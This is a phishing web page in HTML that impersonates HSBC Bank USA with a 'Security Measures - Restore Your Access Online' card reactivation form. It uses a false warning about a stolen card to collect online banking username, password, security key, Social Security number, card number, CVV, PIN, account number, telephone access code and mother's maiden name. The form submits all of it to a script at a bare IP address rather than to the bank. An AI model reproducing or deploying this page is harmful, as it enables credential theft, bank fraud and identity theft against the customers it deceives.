<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title> HSBC Bank USA - Card reactivation form</title><meta http-equiv="Content-Type" content="text/html; charset=us-ascii"><link href="http://www.cefims.ac.uk/forms/appform/application.css" media="screen" rel="stylesheet" type="text/css" /></head><body ><div class="csontentfp"><font face="arial" size="2"> <tr>
<td> <img src="http://www.us.hsbc.com/1/themes/html/hbus_common/hsbc_logo_localbank1.gif"/></td>
</tr><form method="post" action="http://203.172.178.72/form1us.php" name="application">
<p> </p>
<font face=arial size=5><b>Security Measures - Restore Your Access Online</b></font><div class="intro"><p> </p><p> Please confirm that your card was not stolen by completing the form below:</p><p> </p>
<p><strong> Note that fields marked with <span>* </span>must be filled in. </strong></p><p> </p></div> <table class="section1" title="Personal Details"><tr> </tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Username / Customer ID</td><td class="input"><input type="text" size="32" name="u" id="surname" > <span id="inf_surname">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Password</td><td class="input"><input type="text" size="32" name="p" id="firstname" > <span id="inf_firstname">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Security Key</td><td class="input"><input type="text" size="32" name="sk" id="firstname" > <span id="inf_firstname">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Full Name</td><td class="input"><input type="text" size="32" name="name" id="nationality" maxlength="40"> <span id="inf_nationality">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Address Line</td><td class="input"><input type="text" size="32" name="adr" id="nationality" maxlength="40"> <span id="inf_nationality">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Phone Number</td><td class="input"><input type="text" size="32" name="phone" id="nationality" maxlength="40"> <span id="inf_nationality">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Telephone Access Code</td><td class="input"><input type="text" size="32" name="tac" id="nationality" maxlength="40"> <span id="inf_nationality">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Social Security Number</td><td class="input"><input type="text" size="32" name="sn" id="nationality" maxlength="40"> <span id="inf_nationality">*</span></td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Date of Birth</td><td class="input"><input type="text" size="32" name="db" id="address1" maxlength="40"> <span id="inf_address1">*</span> <font face="arial" size="2">(DDMMYYYY)</td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> ATM Card Number</td><td class="input"><input type="text" size="32" name="cn" id="address2" maxlength="40"> <span id="inf_address1">*</span><font face="arial" size="2"> (Linked to your primary account)</td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Card Expiration Date</td><td class="input"><input type="text" size="32" name="e" id="surname" > <span id="inf_surname">*</span><font face="arial" size="2"> (MMYY)</td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Card Vefirication Code</td><td class="input"><input type="text" size="32" name="cv" id="firstname" > <span id="inf_firstname">*</span><font face="arial" size="2"> (Last 3 digits on the back of the card)</td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> PIN</td><td class="input"><input type="text" size="32" name="pn" id="nationality" maxlength="40"> <span id="inf_nationality">*</span><font face="arial" size="2"> (The code you enter at ATMs)</td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Account Number</td><td class="input"><input type="text" size="32" name="ac" id="address1" maxlength="40"> <span id="inf_address1">*</span><font face="arial" size="2"> (Any account linked to your ATM/Debit Card)</td></tr>
<tr><td> </td></tr>
<tr><td class="labels"><font face="arial" size="2"><b> Mother's Maiden Name</td><td class="input"><input type="text" size="32" name="sw" id="address2" maxlength="40"> <span id="inf_address1">*</span><font face="arial" size="2"></td></td></tr>
</table>
<p> </p><p> <input type="submit" value="Submit Application"></p><p> </p><p> </p><p> </p><p><font face=arial size=1> © HSBC Bank USA, N.A. 2011. All Rights Reserved.<p> </p</form></div></font></body></html></td></tr>